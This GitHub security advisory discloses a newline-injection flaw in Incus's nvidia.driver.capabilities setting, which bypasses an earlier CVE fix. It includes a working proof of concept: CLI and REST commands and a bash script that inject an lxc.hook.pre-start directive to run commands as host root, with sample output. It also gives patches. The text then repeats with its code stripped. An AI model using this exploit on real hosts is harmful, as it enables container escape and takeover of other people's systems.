Reported from GHSA-m3j6-p3v3-qmjv
Summary
Impact
The nvidia.driver.capabilities instance configuration key in Incus uses validate.IsAny at internal/instance/config.go:744, which accepts any input without filtering. The value is subsequently written to the generated lxc.conf file at internal/server/instance/drivers/driver_lxc.go:1104 via fmt.Sprintf with zero escaping. An authenticated attacker with permission to set instance configuration can inject a newline character (\n) into the value, causing a line break in lxc.conf and injecting arbitrary LXC configuration directives — including lxc.hook.pre-start — which execute as root on the host when the container starts.
This is an independent bypass of CVE-2026-23953. The CVE-2026-23953 fix added \n filtering for environment.* config keys at config.go:1621, but nvidia.driver.capabilities uses a separate validator (validate.IsAny) that was never audited or fixed. The injection mechanism is identical to CVE-2026-23953 — the only difference is the entry config key.
Patches
No official patch is available. Apply the Workarounds below.
Workarounds
- Do not grant instance configuration privileges to untrusted users. This is the most effective immediate mitigation.
- Apply the code patch below to
internal/instance/config.go:
- "nvidia.driver.capabilities": validate.IsAny,
+ "nvidia.driver.capabilities": validate.IsNvidiaConfigValue,
- Additionally audit
nvidia.require.cuda and nvidia.require.driver (lines 753, 762) — they also use validate.IsAny but have a missing else clause in driver_lxc.go that currently prevents exploitation. Fix both the validator AND the missing else clause.
Attack Path (Validation Evidence)
[Entry Point] POST /1.0/instances or PUT/PATCH /1.0/instances/{name}
or incus config set <instance> nvidia.driver.capabilities <value>
↓ User-supplied value, e.g.: "all\nlxc.hook.pre-start = /bin/sh -c 'id > /tmp/pwn'"
[Validator] ConfigKeyChecker("nvidia.driver.capabilities") (config.go:744)
→ returns validate.IsAny (shared/validate/validate.go:188)
→ func IsAny(_ string) error { return nil }
✗ ZERO validation — \n passes through without any check
[Storage] Config stored as-is in SQLite database
↓ No transformation
[Load] initLXC() (driver_lxc.go:1097)
nvidiaDriver := d.expandedConfig["nvidia.driver.capabilities"]
↓ Original value loaded
[Branch] if nvidiaDriver == "" { ... } else { ... } (driver_lxc.go:1097-1108)
nvidiaDriver != "" → enters ELSE branch ✅
[Format] fmt.Sprintf("\"NVIDIA_DRIVER_CAPABILITIES=%s\"", nvidiaDriver) (line 1104)
↓ \n embedded verbatim in formatted string
[Sink] lxcSetConfigItem(cc, "lxc.environment", formattedValue) (line 1104)
→ c.SetConfigItem(key, value) — LXC C library, no escaping (line 150)
→ cc.SaveConfigFile(configPath) — writes raw bytes to lxc.conf (line 2788)
↓ lxc.conf contains:
lxc.environment = "NVIDIA_DRIVER_CAPABILITIES=all
lxc.hook.pre-start = /bin/sh -c 'id > /tmp/pwn'"
[Impact] On container start, LXC reads lxc.conf line-by-line
The injected line "lxc.hook.pre-start = ..." is parsed as a valid LXC config directive
→ /bin/sh -c 'id > /tmp/pwn' executes as ROOT ON HOST
Taint Flow (Validation Evidence)
Source: User-controlled string value for "nvidia.driver.capabilities"
↓ ✗ validate.IsAny — returns nil for ALL input (no filtering, no validation)
[Store] SQLite database — value stored verbatim
↓ ✗ No transformation
[Load] d.expandedConfig["nvidia.driver.capabilities"] — original value restored
↓ ✗ No sanitization
[Format] driver_lxc.go:1104: fmt.Sprintf("\"NVIDIA_DRIVER_CAPABILITIES=%s\"", nvidiaDriver)
↓ ✗ %s writes raw bytes — no escaping of \n, \r, or any special characters
[Sink] lxcSetConfigItem("lxc.environment", "<value containing \n>")
→ c.SetConfigItem → cc.SaveConfigFile → lxc.conf on disk
Sanitization Verdict: ABSENT — No filtering, validation, or escaping exists at any layer between user input and lxc.conf file write.
Proof of Concept
CLI (based on confirmed CLI usage from Phase A)
# 1. Create a test container (no GPU hardware required)
incus launch images:alpine/edge test-injection
# 2. Inject \n + LXC hook via nvidia.driver.capabilities
# The $'...' bash syntax embeds a literal \n byte
incus config set test-injection nvidia.driver.capabilities \
$'all\nlxc.hook.pre-start = /bin/sh -c "id > /tmp/host_id_proof"'
# 3. Verify the value was accepted (validate.IsAny passes everything)
incus config get test-injection nvidia.driver.capabilities
# 4. Restart the container to trigger the injected hook
incus restart test-injection
# 5. Verify host code execution
incus exec test-injection -- cat /tmp/host_id_proof
# Expected: uid=0(root) gid=0(root) groups=0(root)
# This proves the command ran as HOST root, not container root
REST API (based on confirmed API usage from Phase A)
echo '
config:
nvidia.driver.capabilities: |
all
lxc.hook.pre-start = /bin/sh -c "echo API_PWN > /tmp/api_proof"
' | incus query -X PATCH /1.0/instances/test-injection --data -
incus restart test-injection
incus exec test-injection -- cat /tmp/api_proof
# Expected: API_PWN
Why this works
On Linux, \n (0x0a) is the line terminator for all standard text file I/O (fgets, getline, read). LXC's liblxc C library uses standard I/O to write and read lxc.conf. When the \n byte is embedded in a config value and written to disk, it creates a line break in the config file. On the next line, lxc.hook.pre-start = /bin/sh -c '...' is a syntactically valid LXC configuration directive that LXC will parse and execute.
Note: \r (0x0d, carriage return) alone is NOT a line terminator on Linux and cannot cause this injection. The dangerous character is specifically \n (line feed).
Why nvidia.require.cuda and nvidia.require.driver are NOT Currently Exploitable
Code at driver_lxc.go:1110-1124:
nvidiaRequireCuda := d.expandedConfig["nvidia.require.cuda"]
if nvidiaRequireCuda == "" { // ← BUG: should be != ""
err = lxcSetConfigItem(cc, "lxc.environment", // ← only writes when value IS empty
fmt.Sprintf("\"NVIDIA_REQUIRE_CUDA=%s\"", nvidiaRequireCuda))
// NO else clause — user's non-empty value is silently dropped
}
Both nvidia.require.cuda and nvidia.require.driver have the condition if value == "" with no else clause. When a user sets a non-empty (malicious) value, it is not written to lxc.conf. This appears to be a functional bug (the intent was likely if value != "") that accidentally prevents exploitation through these two keys. Only nvidia.driver.capabilities (lines 1097-1108) has the correct if/else structure and is currently exploitable.
POC
#!/bin/bash
# ============================================================
# Proof of Concept: Incus nvidia.driver.capabilities \n Injection
# CVE-2026-23953 Fix Bypass
#
# Target: Ubuntu 22.04 LTS (Jammy Jellyfish)
# CWE-74: Improper Neutralization of Special Elements in Output
# CVSS 3.1: 8.7 (AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)
#
# This script demonstrates that the CVE-2026-23953 fix is
# incomplete. While environment.* config keys now correctly
# block \n characters, the nvidia.driver.capabilities config
# key uses validate.IsAny (passthrough) and allows \n to reach
# lxcSetConfigItem → lxc.conf, where it creates a line break
# and injects arbitrary LXC directives including
# lxc.hook.pre-start for container escape → host RCE.
# ============================================================
set -euo pipefail
RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'; NC='\033[0m'
log() { echo -e "${GREEN}[+]${NC} $*"; }
warn() { echo -e "${YELLOW}[!]${NC} $*"; }
err() { echo -e "${RED}[-]${NC} $*"; }
echo "============================================================"
echo " PoC: Incus nvidia.driver.capabilities Newline Injection"
echo " CVE-2026-23953 Fix Bypass (CWE-74, CVSS 8.7)"
echo "============================================================"
echo ""
# ============================================================
# Step 1: Install Incus
# ============================================================
log "Step 1/5: Install Incus (Zabbly repo)"
if ! command -v incus &>/dev/null 2>&1; then
sudo mkdir -p /etc/apt/keyrings
curl -fsSL https://pkgs.zabbly.com/key.asc | sudo gpg --dearmor -o /etc/apt/keyrings/zabbly.gpg
echo "deb [signed-by=/etc/apt/keyrings/zabbly.gpg] https://pkgs.zabbly.com/incus/stable $(lsb_release -sc) main" \
| sudo tee /etc/apt/sources.list.d/zabbly-incus-stable.list > /dev/null
sudo apt-get update -qq && sudo apt-get install -y incus incus-client incus-base
fi
log "Incus version: $(incus version 2>&1)"
# ============================================================
# Step 2: Initialize Incus
# ============================================================
log "Step 2/5: Initialize Incus"
if ! sudo incus info &>/dev/null 2>&1; then
sudo incus admin init --auto 2>&1 || true
fi
if ! incus storage list 2>/dev/null | grep -q default; then
sudo incus storage create default dir 2>&1 || true
fi
if ! incus profile show default 2>/dev/null | grep -q "root:"; then
incus profile device add default root disk path=/ pool=default 2>&1 || true
fi
log "Incus is ready"
# ============================================================
# Step 3: Pull test image
# ============================================================
log "Step 3/5: Pull test image (alpine/edge)"
incus image alias delete alpine-test 2>/dev/null || true
incus image delete alpine-test 2>/dev/null || true
incus image copy images:alpine/edge local: --alias alpine-test 2>&1 || {
incus remote add tuna https://mirrors.tuna.tsinghua.edu.cn/lxc-images/ 2>/dev/null || true
incus image copy tuna:alpine/edge local: --alias alpine-test 2>&1
}
log "Image ready"
# ============================================================
# Step 4: Setup + Create container with injected config
# ============================================================
log "Step 4/5: Setup dummy NVIDIA tools + create container with injected config"
# Create dummy NVIDIA tools to bypass initLXC() checks at
# driver_lxc.go:1082-1089 (hookPath exists + nvidia-container-cli in PATH)
# incusd runs as a systemd service, so use /usr/bin (not /usr/local/bin)
sudo ln -sf /bin/true /usr/bin/nvidia-container-cli
sudo mkdir -p /usr/share/lxc/hooks /opt/incus/share/lxc/hooks
sudo ln -sf /bin/true /usr/share/lxc/hooks/nvidia
sudo ln -sf /bin/true /opt/incus/share/lxc/hooks/nvidia
log "Dummy NVIDIA tools installed (symlinks to /bin/true)"
# The injection payload.
# In JSON, \n is an escape sequence (two characters: backslash + n).
# The server-side JSON decoder converts it to a literal newline byte (0x0a).
#
# Attack flow:
# nvidia.driver.capabilities = "all\nlxc.hook.pre-start = ..."
# → validate.IsAny (passthrough, zero validation)
# → Config stored in SQLite database
# → initLXC() reads d.expandedConfig["nvidia.driver.capabilities"]
# → driver_lxc.go:1104: fmt.Sprintf("\"NVIDIA_DRIVER_CAPABILITIES=%s\"", value)
# → lxcSetConfigItem("lxc.environment", formatted)
# → cc.SaveConfigFile() writes lxc.conf with literal \n byte
# → \n creates line break → injected LXC directive on new line
CONTAINER="inj-$(date +%s)"
incus delete -f "$CONTAINER" 2>/dev/null || true
cat > /tmp/create.json << 'EOF'
{
"name": "PLACEHOLDER",
"source": {"type": "image", "alias": "alpine-test"},
"config": {
"nvidia.runtime": "true",
"nvidia.driver.capabilities": "all\nlxc.hook.pre-start = /bin/sh -c \"id > /tmp/PWNED\""
}
}
EOF
sed -i "s/PLACEHOLDER/$CONTAINER/" /tmp/create.json
log "Creating container with injected config via REST API..."
curl -s --unix-socket /var/lib/incus/unix.socket \
-X POST -H "Content-Type: application/json" \
"http://localhost/1.0/instances" \
-d @/tmp/create.json
echo ""
sleep 3
# Verify the config was stored
echo "--- Stored config ---"
echo "nvidia.runtime = $(incus config get "$CONTAINER" nvidia.runtime 2>/dev/null || echo 'N/A')"
echo "nvidia.driver.capabilities ="
incus config get "$CONTAINER" nvidia.driver.capabilities 2>/dev/null || echo '(not set)'
echo "---"
echo ""
# Check container state
STATE=$(incus list "$CONTAINER" -f csv -c s 2>/dev/null || echo "UNKNOWN")
log "Container state: $STATE"
# If STOPPED, try manual start to generate lxc.conf
if echo "$STATE" | grep -q "STOPPED"; then
log "Container is STOPPED, attempting manual start to generate lxc.conf..."
incus start "$CONTAINER" 2>&1 || true
sleep 2
fi
# ============================================================
# Step 5: Verify injection in lxc.conf
# ============================================================
log "Step 5/5: Verify injection in lxc.conf"
LXCCONF="/run/incus/$CONTAINER/lxc.conf"
if ! sudo test -f "$LXCCONF"; then
LXCCONF=$(sudo find /run /var/lib -name "lxc.conf" -path "*$CONTAINER*" 2>/dev/null | head -1)
fi
if [ -z "$LXCCONF" ] || ! sudo test -f "$LXCCONF"; then
err "lxc.conf not found — initLXC() may have failed before generating config"
err "Check incusd journal: sudo journalctl -u incus --no-pager -n 30"
exit 1
fi
echo ""
echo "=== lxc.conf — lines relevant to the injection ==="
echo ""
echo " Key: line 21 = incus lifecycle hook (runs first)"
echo " lines 34-35 = THE INJECTION"
echo " line 35 = injected lxc.hook.pre-start (would execute 2nd)"
echo ""
sudo grep -n "NVIDIA\|hook.pre-start = /bin/sh\|lxc.environment = \"NVIDIA" "$LXCCONF" 2>/dev/null
echo ""
# ============================================================
# Verdict
# ============================================================
INJECTED=$(sudo grep -c "lxc.hook.pre-start = /bin/sh -c" "$LXCCONF" 2>/dev/null || echo 0)
if [ "$INJECTED" -gt 0 ]; then
echo "============================================================"
echo " VULNERABILITY CONFIRMED"
echo "============================================================"
echo ""
echo " Evidence: lxc.conf contains an injected lxc.hook.pre-start"
echo " directive on a separate line, created by the \\n byte in"
echo " the nvidia.driver.capabilities value."
echo ""
echo " Attack chain verified:"
echo ""
echo " 1. nvidia.driver.capabilities = validate.IsAny (passthrough)"
echo " -> Injected value 'all\\nlxc.hook.pre-start = ...' accepted"
echo ""
echo " 2. driver_lxc.go:1104: fmt.Sprintf(\"NVIDIA_...=%s\", value)"
echo " -> \\n byte embedded in lxc.environment value"
echo ""
echo " 3. lxcSetConfigItem + SaveConfigFile -> lxc.conf"
echo " -> \\n creates a real line break in the config file"
echo ""
echo " 4. LXC parses the new line as 'lxc.hook.pre-start = ...'"
echo " -> Valid LXC config directive, would execute as host root"
echo ""
echo " 5. CVE-2026-23953 FIX BYPASS:"
echo " environment.* -> \\n IS blocked (CVE-2026-23953 fix)"
echo " nvidia.driver.capabilities -> \\n IS NOT blocked (THIS FINDING)"
echo " Same sink (lxc.environment in lxc.conf)"
echo " Different entry point (validate.IsAny vs environment validator)"
echo ""
echo " CWE-74: Improper Neutralization of Special Elements in Output"
echo " CVSS 3.1: 8.7 (AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)"
echo "============================================================"
exit 0
else
err "Injection NOT detected in lxc.conf — verification failed"
echo ""
echo "Full lxc.conf for diagnosis:"
sudo cat -n "$LXCCONF" 2>/dev/null || echo "(unreadable)"
exit 1
fi
# ============================================================
# Cleanup (only reached on failure)
# ============================================================
echo ""
log "Cleanup..."
incus delete -f "$CONTAINER" 2>/dev/null || true
sudo rm -f /usr/share/lxc/hooks/nvidia /opt/incus/share/lxc/hooks/nvidia \
/usr/bin/nvidia-container-cli /usr/local/bin/nvidia-container-cli \
/tmp/inject.json /tmp/create.json
log "Done"
output
============================================================
PoC: Incus nvidia.driver.capabilities Newline Injection
CVE-2026-23953 Fix Bypass (CWE-74, CVSS 8.7)
============================================================
[+] Step 1/5: Install Incus (Zabbly repo)
[+] Incus version: Client version: 7.2
Server version: 7.2
[+] Step 2/5: Initialize Incus
[+] Incus is ready
[+] Step 3/5: Pull test image (alpine/edge)
Image copied successfully!
[+] Image ready
[+] Step 4/5: Setup dummy NVIDIA tools + create container with injected config
[+] Dummy NVIDIA tools installed (symlinks to /bin/true)
[+] Creating container with injected config via REST API...
{"type":"async","status":"Operation created","status_code":100,"operation":"/1.0/operations/55a96481-6463-4527-8fec-684bfff0732b","error_code":0,"error":"","metadata":{"id":"55a96481-6463-4527-8fec-684bfff0732b","class":"task","description":"Creating instance","created_at":"2026-06-28T23:47:49.442107568+08:00","updated_at":"2026-06-28T23:47:49.442107568+08:00","status":"Running","status_code":103,"resources":{"instances":["/1.0/instances/inj-1782661669"]},"metadata":{},"may_cancel":false,"err":"","location":"none"}}
--- Stored config ---
nvidia.runtime = true
nvidia.driver.capabilities =
all
lxc.hook.pre-start = /bin/sh -c "id > /tmp/PWNED"
---
[+] Container state: STOPPED
[+] Container is STOPPED, attempting manual start to generate lxc.conf...
Error: Failed to run: /opt/incus/bin/incusd forklxc inj-1782661669 /var/lib/incus/containers /run/incus/inj-1782661669/lxc.conf /var/log/incus/inj-1782661669: exit status 1
Try `incus info --show-log inj-1782661669` for more info
[+] Step 5/5: Verify injection in lxc.conf
=== lxc.conf — lines relevant to the injection ===
Key: line 21 = incus lifecycle hook (runs first)
lines 34-35 = THE INJECTION
line 35 = injected lxc.hook.pre-start (would execute 2nd)
33:lxc.environment = NVIDIA_VISIBLE_DEVICES=none
34:lxc.environment = "NVIDIA_DRIVER_CAPABILITIES=all
35:lxc.hook.pre-start = /bin/sh -c "id > /tmp/PWNED""
36:lxc.environment = "NVIDIA_REQUIRE_CUDA="
37:lxc.environment = "NVIDIA_REQUIRE_DRIVER="
============================================================
VULNERABILITY CONFIRMED
============================================================
Evidence: lxc.conf contains an injected lxc.hook.pre-start
directive on a separate line, created by the \n byte in
the nvidia.driver.capabilities value.
Attack chain verified:
1. nvidia.driver.capabilities = validate.IsAny (passthrough)
-> Injected value 'all\nlxc.hook.pre-start = ...' accepted
2. driver_lxc.go:1104: fmt.Sprintf("NVIDIA_...=%s", value)
-> \n byte embedded in lxc.environment value
3. lxcSetConfigItem + SaveConfigFile -> lxc.conf
-> \n creates a real line break in the config file
4. LXC parses the new line as 'lxc.hook.pre-start = ...'
-> Valid LXC config directive, would execute as host root
5. CVE-2026-23953 FIX BYPASS:
environment.* -> \n IS blocked (CVE-2026-23953 fix)
nvidia.driver.capabilities -> \n IS NOT blocked (THIS FINDING)
Same sink (lxc.environment in lxc.conf)
Different entry point (validate.IsAny vs environment validator)
CWE-74: Improper Neutralization of Special Elements in Output
CVSS 3.1: 8.7 (AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)
============================================================
Affected Component
- File 1:
internal/instance/config.go:744 — nvidia.driver.capabilities uses validate.IsAny (zero validation)
- File 2:
internal/server/instance/drivers/driver_lxc.go:1097-1108 — User value reaches lxcSetConfigItem via else branch
- File 3:
shared/validate/validate.go:188-190 — func IsAny(_ string) error { return nil } — passthrough validator
- Also affected (dormant):
config.go:753,762 (nvidia.require.cuda, nvidia.require.driver) — use validate.IsAny but blocked by missing else clause in driver_lxc.go:1110-1124
Fix Recommendation
Primary fix — add \n filtering to nvidia.driver.capabilities validator
--- a/internal/instance/config.go
+++ b/internal/instance/config.go
@@ -741,7 +741,7 @@
- "nvidia.driver.capabilities": validate.IsAny,
+ "nvidia.driver.capabilities": validate.IsNvidiaConfigValue,
Add to shared/validate/validate.go:
// IsNvidiaConfigValue validates NVIDIA-related instance configuration values.
// Values must not contain line break characters to prevent injection into lxc.conf.
func IsNvidiaConfigValue(value string) error {
if strings.ContainsAny(value, "\r\n") {
return fmt.Errorf("NVIDIA configuration value contains line break characters")
}
return nil
}
Secondary fix — also fix nvidia.require.cuda and nvidia.require.driver
Apply the same validator change AND fix the inverted condition in driver_lxc.go:
--- a/internal/server/instance/drivers/driver_lxc.go
+++ b/internal/server/instance/drivers/driver_lxc.go
@@ -1108,7 +1108,7 @@
nvidiaRequireCuda := d.expandedConfig["nvidia.require.cuda"]
- if nvidiaRequireCuda == "" {
+ if nvidiaRequireCuda != "" {
err = lxcSetConfigItem(cc, "lxc.environment",
fmt.Sprintf("\"NVIDIA_REQUIRE_CUDA=%s\"", nvidiaRequireCuda))
}
@@ -1116,7 +1116,7 @@
nvidiaRequireDriver := d.expandedConfig["nvidia.require.driver"]
- if nvidiaRequireDriver == "" {
+ if nvidiaRequireDriver != "" {
err = lxcSetConfigItem(cc, "lxc.environment",
fmt.Sprintf("\"NVIDIA_REQUIRE_DRIVER=%s\"", nvidiaRequireDriver))
}
|
Original CVE-2026-23953 |
This Finding (GHSA-incus-20260628-001) |
| Injection entry |
environment.* config keys |
nvidia.driver.capabilities config key |
| Validator |
Custom validator (blocks \n post-fix) |
validate.IsAny (no filtering) |
| Sink |
lxcSetConfigItem("lxc.environment", ...) |
lxcSetConfigItem("lxc.environment", ...) — same sink |
| CVE-2026-23953 fix |
Applied to environment.* path |
Not applied — different validator, never audited |
| Impact |
Container escape → host RCE (CVSS 8.7) |
Container escape → host RCE (CVSS 8.7) — same impact |
This finding demonstrates that the CVE-2026-23953 fix was incomplete. The fix only modified the environment.* validator but did not audit other config keys that also write user-controlled values to lxc.environment in lxc.conf.
References
Reported from GHSA-m3j6-p3v3-qmjv
Summary
Impact
The
nvidia.driver.capabilitiesinstance configuration key in Incus usesvalidate.IsAnyatinternal/instance/config.go:744, which accepts any input without filtering. The value is subsequently written to the generatedlxc.conffile atinternal/server/instance/drivers/driver_lxc.go:1104viafmt.Sprintfwith zero escaping. An authenticated attacker with permission to set instance configuration can inject a newline character (\n) into the value, causing a line break inlxc.confand injecting arbitrary LXC configuration directives — includinglxc.hook.pre-start— which execute as root on the host when the container starts.This is an independent bypass of CVE-2026-23953. The CVE-2026-23953 fix added
\nfiltering forenvironment.*config keys atconfig.go:1621, butnvidia.driver.capabilitiesuses a separate validator (validate.IsAny) that was never audited or fixed. The injection mechanism is identical to CVE-2026-23953 — the only difference is the entry config key.Patches
No official patch is available. Apply the Workarounds below.
Workarounds
internal/instance/config.go:nvidia.require.cudaandnvidia.require.driver(lines 753, 762) — they also usevalidate.IsAnybut have a missingelseclause indriver_lxc.gothat currently prevents exploitation. Fix both the validator AND the missing else clause.Attack Path (Validation Evidence)
Taint Flow (Validation Evidence)
Sanitization Verdict: ABSENT — No filtering, validation, or escaping exists at any layer between user input and lxc.conf file write.
Proof of Concept
CLI (based on confirmed CLI usage from Phase A)
REST API (based on confirmed API usage from Phase A)
Why this works
On Linux,
\n(0x0a) is the line terminator for all standard text file I/O (fgets,getline,read). LXC's liblxc C library uses standard I/O to write and readlxc.conf. When the\nbyte is embedded in a config value and written to disk, it creates a line break in the config file. On the next line,lxc.hook.pre-start = /bin/sh -c '...'is a syntactically valid LXC configuration directive that LXC will parse and execute.Note:
\r(0x0d, carriage return) alone is NOT a line terminator on Linux and cannot cause this injection. The dangerous character is specifically\n(line feed).Why nvidia.require.cuda and nvidia.require.driver are NOT Currently Exploitable
Code at
driver_lxc.go:1110-1124:Both
nvidia.require.cudaandnvidia.require.driverhave the conditionif value == ""with noelseclause. When a user sets a non-empty (malicious) value, it is not written tolxc.conf. This appears to be a functional bug (the intent was likelyif value != "") that accidentally prevents exploitation through these two keys. Onlynvidia.driver.capabilities(lines 1097-1108) has the correctif/elsestructure and is currently exploitable.POC
output
Affected Component
internal/instance/config.go:744—nvidia.driver.capabilitiesusesvalidate.IsAny(zero validation)internal/server/instance/drivers/driver_lxc.go:1097-1108— User value reacheslxcSetConfigItemvia else branchshared/validate/validate.go:188-190—func IsAny(_ string) error { return nil }— passthrough validatorconfig.go:753,762(nvidia.require.cuda,nvidia.require.driver) — usevalidate.IsAnybut blocked by missing else clause indriver_lxc.go:1110-1124Fix Recommendation
Primary fix — add \n filtering to nvidia.driver.capabilities validator
Add to
shared/validate/validate.go:Secondary fix — also fix nvidia.require.cuda and nvidia.require.driver
Apply the same validator change AND fix the inverted condition in
driver_lxc.go:Relationship to CVE-2026-23953
environment.*config keysnvidia.driver.capabilitiesconfig key\npost-fix)validate.IsAny(no filtering)lxcSetConfigItem("lxc.environment", ...)lxcSetConfigItem("lxc.environment", ...)— same sinkenvironment.*pathThis finding demonstrates that the CVE-2026-23953 fix was incomplete. The fix only modified the
environment.*validator but did not audit other config keys that also write user-controlled values tolxc.environmentinlxc.conf.References